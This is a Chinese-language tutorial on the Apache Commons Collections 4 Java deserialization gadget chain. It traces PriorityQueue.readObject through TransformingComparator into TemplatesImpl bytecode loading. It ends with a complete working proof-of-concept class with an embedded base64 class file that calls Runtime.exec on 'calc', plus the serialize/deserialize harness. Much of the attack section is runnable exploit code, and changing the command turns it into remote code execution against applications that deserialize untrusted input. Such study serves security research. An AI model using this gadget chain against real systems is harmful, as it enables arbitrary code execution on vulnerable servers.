这条链子 前半段跟CC3 一样 ,都是动态加载字节码的过程,后边的构造用到了两个类,PriorityQueue
和TransformingComparator
- Gadget chain:
- ObjectInputStream.readObject()
- PriorityQueue.readObject()
- ...
- TransformingComparator.compare()
- InstantiaterTransformer.transform()
- TrAXFilter.TrAXfilter
- Method.invoke()
- Runtime.exec()
-
链子:
-
- #class PriorityQueue
- PriorityQueue.readObject -> heapify()
-
- heapify() -> siftDown()
-
- siftDown() -> siftDownComparator()
-
- siftDownComparator() -> comparator.compare(); #com[arator 可控 = TransformingComparator
-
-
- #class TransformingComparator
- compare() -> transformer.transform() # transformer可控 = InstantiateTransformer
-
- 接上CC3的链子
-
-
- 简化就是 PriorityQueue类 -> TransformingComparator 类 -> CC3
-
-
完整流程
先看看需要用到的PriorityQueue 类。
PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。本篇主要用的到方法,add(E e):将指定的元素插入此优先级队列
测试代码:
- package CommonsCollections4;
-
- import java.util.PriorityQueue;
-
- public class Test {
- public static void main(String[] args) throws Exception {
- PriorityQueue priorityQueue=new PriorityQueue(2);
- priorityQueue.add(4);
- priorityQueue.add(3);
- priorityQueue.add(2);
- priorityQueue.add(1); //add()添加指定元素到队列
- System.out.println(priorityQueue);
- System.out.println(priorityQueue.poll()); //poll获取队列的头
- }
-
- }
大概就是入队的添加,poll() 获取队头,之所以用他,是因为他重写了自己的readObject()方法
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- // Read in size, and any hidden stuff
- s.defaultReadObject();
-
- // Read in (and discard) array length
- s.readInt();
-
- queue = new Object[size];
-
- // Read in all elements.
- for (int i = 0; i < size; i++)
- queue[i] = s.readObject();
-
- // Elements are guaranteed to be in "proper order", but the
- // spec has never explained what that might be.
- heapify();
- }
最后调用了 heapify();
- private void heapify() {
- for (int i = (size >>> 1) - 1; i >= 0; i--)
- siftDown(i, (E) queue[i]);
- }
接着调用siftDown()
- private void siftDown(int k, E x) {
- if (comparator != null)
- siftDownUsingComparator(k, x);
- else
- siftDownComparable(k, x);
- }
当comparator不为null时调用siftDownUsingComparator()
- private void siftDownUsingComparator(int k, E x) {
- int half = size >>> 1;
- while (k < half) {
- int child = (k << 1) + 1;
- Object c = queue[child];
- int right = child + 1;
- if (right < size &&
- comparator.compare((E) c, (E) queue[right]) > 0)
- c = queue[child = right];
- if (comparator.compare(x, (E) c) <= 0)
- break;
- queue[k] = c;
- k = child;
- }
- queue[k] = x;
- }
最后调用comparator.compare()
,而comparator
在本类的构造方法中可控,所以关键就在于调用谁的compare()
了
- public PriorityQueue(Comparator super E> comparator) {
- this(DEFAULT_INITIAL_CAPACITY, comparator);
- }
-
- public PriorityQueue(int initialCapacity,
- Comparator super E> comparator) {
- // Note: This restriction of at least one is not actually needed,
- // but continues for 1.5 compatibility
- if (initialCapacity < 1)
- throw new IllegalArgumentException();
- this.queue = new Object[initialCapacity];
- this.comparator = comparator;
- }
这里用到的是 TransformingComparator 类,在该类中发现compare()
,并且调用transform()
方法,后边的就跟之前都一样了
- public int compare(final I obj1, final I obj2) {
- final O value1 = this.transformer.transform(obj1);
- final O value2 = this.transformer.transform(obj2);
- return this.decorated.compare(value1, value2);
- }
这个类 在CC3 版本是无法使用的,因为CC4 才继承了serialize接口。
- //CC 3.2.1
- public class TransformingComparator implements Comparator {
- //CC 4.0
- public class TransformingComparator implements Comparator, Serializable {
后边跟CC3 一样 直接贴过来
- public static void main(String[] args) throws Exception {
- Templates templates = new TemplatesImpl();
- byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
- setFieldValue(templates,"_name","snowy");
- setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
-
-
-
- Transformer[] transformers=new Transformer[]{
- new ConstantTransformer(TrAXFilter.class), //将对象返回
- new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
- };
- ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
- }
在执行到 compare() 的时候,他执行的是 this.transformer的transform(obj1)方法
final O value1 = this.transformer.transform(obj1);
所以我们需要构造 this.transformer=chainedTransformer :
也就是: chainedTransformer.transformer(obj1);
构造器:
需要传Transformer的子对象 ,刚好 chainedTransformer就是其子对象
构造:
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
链子就接上了,我们已经接上了后半段的地方:
而 PriorityQueue 中需要调用 comparator.compare() ,所以 这里的comparator需要是TransformingComparator才能接上,
看到PriorityQueue的构造方法 也是可以直接传的。
构造器控制一下 comparator的值为 comparator=TransformingComparator类 构造一下:
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
但是不能反序列化成功,原因有两个,我们打断点调试下
原因其一在这个地方:
这里会进行i = (size >>> 1) -1
,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()
这里可以运行下
只有2右移时才会 i >=0 进入 siftDown()
java中有三种移位运算符
<< : 左移运算符,num << 1,相当于num乘以2
>> : 右移运算符,num >> 1,相当于num除以2
>>> : 无符号右移,忽略符号位,空位都以0补齐
所以这里size至少为2时,经过右移操作后才能等于1,经过1-1之后i的值才能等于0从而进入循环,所以这里就要为size添加两个值
- priorityQueue.add(1);
- priorityQueue.add(2);
添加完后 执行一下
报错
原因是
- public boolean add(E e) {
- return offer(e);
- }
在add()中会调用offer()
- public boolean offer(E e) {
- if (e == null)
- throw new NullPointerException();
- modCount++;
- int i = size;
- if (i >= queue.length)
- grow(i + 1);
- size = i + 1;
- if (i == 0)
- queue[0] = e;
- else
- siftUp(i, e);
- return true;
- }
而在offer() 中调用了siftUp() ,接着就一串 siftUpUsingComparator()->siftUpUsingComparator()->compare()......
,
就在序列化时执行执行了,而这里的并没有执行,因为少了这里:
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
之前cc3中把他去掉了 ,因为在执行readObject时,会默认初始化,但在这里想通过序列化触发的话,就要加上这条。接着回到刚才的问题,想让他在反序列化前不执行,就需要将transformingComparator
的值修改为一个没用的值,绕过调用
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
之后再在add()方法执行结束后,通过反射将transformingComparator
修改回来
- Class c=transformingComparator.getClass();
- Field transformField=c.getDeclaredField("transformer");
- transformField.setAccessible(true);
- transformField.set(transformingComparator,chainedTransformer);
POC:
- package CommonsCollections4;
-
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
- import org.apache.commons.collections4.Transformer;
- import org.apache.commons.collections4.comparators.TransformingComparator;
- import org.apache.commons.collections4.functors.ChainedTransformer;
- import org.apache.commons.collections4.functors.ConstantTransformer;
- import org.apache.commons.collections4.functors.InstantiateTransformer;
-
-
- import javax.xml.transform.Templates;
- import java.io.*;
- import java.lang.reflect.*;
-
-
- import java.util.Base64;
- import java.util.PriorityQueue;
-
- public class cc4 {
-
- public static void main(String[] args) throws Exception {
- Templates templates = new TemplatesImpl();
- byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
- setFieldValue(templates,"_name","Sentiment");
- setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
-
-
-
- Transformer[] transformers=new Transformer[]{
- new ConstantTransformer(TrAXFilter.class),
- new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
- };
- ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
-
-
- TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
-
- PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
- priorityQueue.add(1);
- priorityQueue.add(0);
-
- Class c=transformingComparator.getClass();
- Field transformField=c.getDeclaredField("transformer");
- transformField.setAccessible(true);
- transformField.set(transformingComparator,chainedTransformer);
-
- serialize(priorityQueue);
- unserialize("1.txt");
-
- }
- public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj,value);
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
- out.writeObject(obj);
- }
-
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
- Object o = In.readObject();
- return o;
- }
-
- }